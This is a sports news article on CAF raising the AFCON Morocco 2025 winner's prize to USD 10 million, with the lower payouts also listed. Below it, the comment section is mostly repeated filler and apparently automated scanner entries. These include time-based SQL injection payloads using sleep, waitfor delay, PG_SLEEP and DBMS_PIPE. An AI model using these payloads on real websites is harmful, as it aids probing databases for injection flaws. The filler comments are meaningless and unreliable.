AFCON 2025: CAF doubles down as prize money hits $10m
CAF President Dr Patrice Motsepe has confirmed that the winners of the TotalEnergies CAF Africa Cup of Nations (AFCON) Morocco 2025 will receive USD 10 million in prize money, marking the highest payout in the tournament’s history, Nigeriasoccernet.com reports.
The announcement was made on Saturday after a meeting of the CAF Executive Committee (EXCO) in Rabat, Morocco, held on the eve of the competition’s kick-off.
The prize represents a 43 per cent increase from the 2023 edition, when hosts Côte d’Ivoire claimed USD 7 million after winning the title. It also underlines the significant growth of the competition over the past four years, with the winners’ reward doubling from the USD 5 million paid out at AFCON Cameroon 2021.
This steady rise highlights CAF’s commitment to enhancing the commercial value and global appeal of Africa’s flagship international tournament, with prize money climbing from USD 5 million in 2021 to USD 7 million in 2023, and now USD 10 million in 2025.
Meanwhile, the runners-up at AFCON Morocco 2025 will earn USD 4 million, while the two losing semi-finalists will each receive USD 2.5 million.
By Oluwadamilola OlaleyeÂ
Readers Comment
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555
-
1
2 days ago
555*if(now()=sysdate(),sleep(15),0)
-
1
2 days ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
2 days ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
2 days ago
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
2 days ago
555-1; waitfor delay '0:0:15' --
-
1
2 days ago
555-1); waitfor delay '0:0:15' --
-
1
2 days ago
555-1 waitfor delay '0:0:15' --
-
1
2 days ago
555wv5xczSQ'; waitfor delay '0:0:15' --
-
1
2 days ago
555-1 OR 37=(SELECT 37 FROM PG_SLEEP(15))--
-
1
2 days ago
555-1) OR 913=(SELECT 913 FROM PG_SLEEP(15))--
-
1
2 days ago
555-1)) OR 754=(SELECT 754 FROM PG_SLEEP(15))--
-
1
2 days ago
555Uia0rVsR' OR 917=(SELECT 917 FROM PG_SLEEP(15))--
-
1
2 days ago
5559QfC5imI') OR 840=(SELECT 840 FROM PG_SLEEP(15))--
-
1
2 days ago
555Py8qnhjF')) OR 290=(SELECT 290 FROM PG_SLEEP(15))--
-
1
2 days ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
2 days ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
2 days ago
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
-
1
2 days ago
555
-
1
2 days ago
555'"
-
1
2 days ago
(select 198766*667891)
-
1
2 days ago
(select 198766*667891 from DUAL)
-
1
2 days ago
555
-
1
2 days ago
555
-
1*if(now()=sysdate(),sleep(15),0)
2 days ago
555
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
2 days ago
555
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
2 days ago
555
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
2 days ago
555
-
1-1; waitfor delay '0:0:15' --
2 days ago
555
-
1-1); waitfor delay '0:0:15' --
2 days ago
555
-
1-1 waitfor delay '0:0:15' --
2 days ago
555
-
156SX82Kn'; waitfor delay '0:0:15' --
2 days ago
555
-
1-1 OR 111=(SELECT 111 FROM PG_SLEEP(15))--
2 days ago
555
-
1-1) OR 585=(SELECT 585 FROM PG_SLEEP(15))--
2 days ago
555
-
1-1)) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
2 days ago
555
-
1wFTeV05Q' OR 696=(SELECT 696 FROM PG_SLEEP(15))--
2 days ago
555
-
1zUySQd4V') OR 16=(SELECT 16 FROM PG_SLEEP(15))--
2 days ago
555
-
1zXLKFGaU')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--
2 days ago
555
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
2 days ago
555
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
2 days ago
555
-
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
2 days ago
555
-
1
2 days ago
555
-
1'"
2 days ago
555
-
@@8h1Lw
2 days ago
555
-
(select 198766*667891)
2 days ago
555
-
(select 198766*667891 from DUAL)
2 days ago
555
-
1
2 days ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555
-
1
1 day ago
555*if(now()=sysdate(),sleep(15),0)
-
1
1 day ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
1 day ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
1 day ago
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
1 day ago
555-1; waitfor delay '0:0:15' --
-
1
1 day ago
555-1); waitfor delay '0:0:15' --
-
1
1 day ago
555-1 waitfor delay '0:0:15' --
-
1
1 day ago
555QPA5Lb69'; waitfor delay '0:0:15' --
-
1
1 day ago
555-1 OR 150=(SELECT 150 FROM PG_SLEEP(15))--
-
1
1 day ago
555-1) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
-
1
1 day ago
555-1)) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
-
1
1 day ago
55538GgEHU2' OR 676=(SELECT 676 FROM PG_SLEEP(15))--
-
1
1 day ago
555yNIl4nqb') OR 613=(SELECT 613 FROM PG_SLEEP(15))--
-
1
1 day ago
555u1DOTcgA')) OR 61=(SELECT 61 FROM PG_SLEEP(15))--
-
1
1 day ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
1 day ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
1 day ago
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
-
1
1 day ago
555
-
1
1 day ago
555'"
-
1
1 day ago
(select 198766*667891)
-
1
1 day ago
(select 198766*667891 from DUAL)
-
1
1 day ago
555
-
1
1 day ago
555
-
1*if(now()=sysdate(),sleep(15),0)
1 day ago
555
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1 day ago
555
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1 day ago
555
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 day ago
555
-
1-1; waitfor delay '0:0:15' --
1 day ago
555
-
1-1); waitfor delay '0:0:15' --
1 day ago
555
-
1-1 waitfor delay '0:0:15' --
1 day ago
555
-
1CwLoROFJ'; waitfor delay '0:0:15' --
1 day ago
555
-
1-1 OR 271=(SELECT 271 FROM PG_SLEEP(15))--
1 day ago
555
-
1-1) OR 817=(SELECT 817 FROM PG_SLEEP(15))--
1 day ago
555
-
1-1)) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
1 day ago
555
-
1oNueHwJ3' OR 784=(SELECT 784 FROM PG_SLEEP(15))--
1 day ago
555
-
14OBWiuxM') OR 936=(SELECT 936 FROM PG_SLEEP(15))--
1 day ago
555
-
12jFPTazQ')) OR 184=(SELECT 184 FROM PG_SLEEP(15))--
1 day ago
555
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 day ago
555
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1 day ago
555
-
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1 day ago
555
-
1
1 day ago
555
-
1'"
1 day ago
555
-
@@wRnfa
1 day ago
555
-
(select 198766*667891)
1 day ago
555
-
(select 198766*667891 from DUAL)
1 day ago
555
-
1
1 day ago
555

Comments
This article has 318 comment(s) , give your comment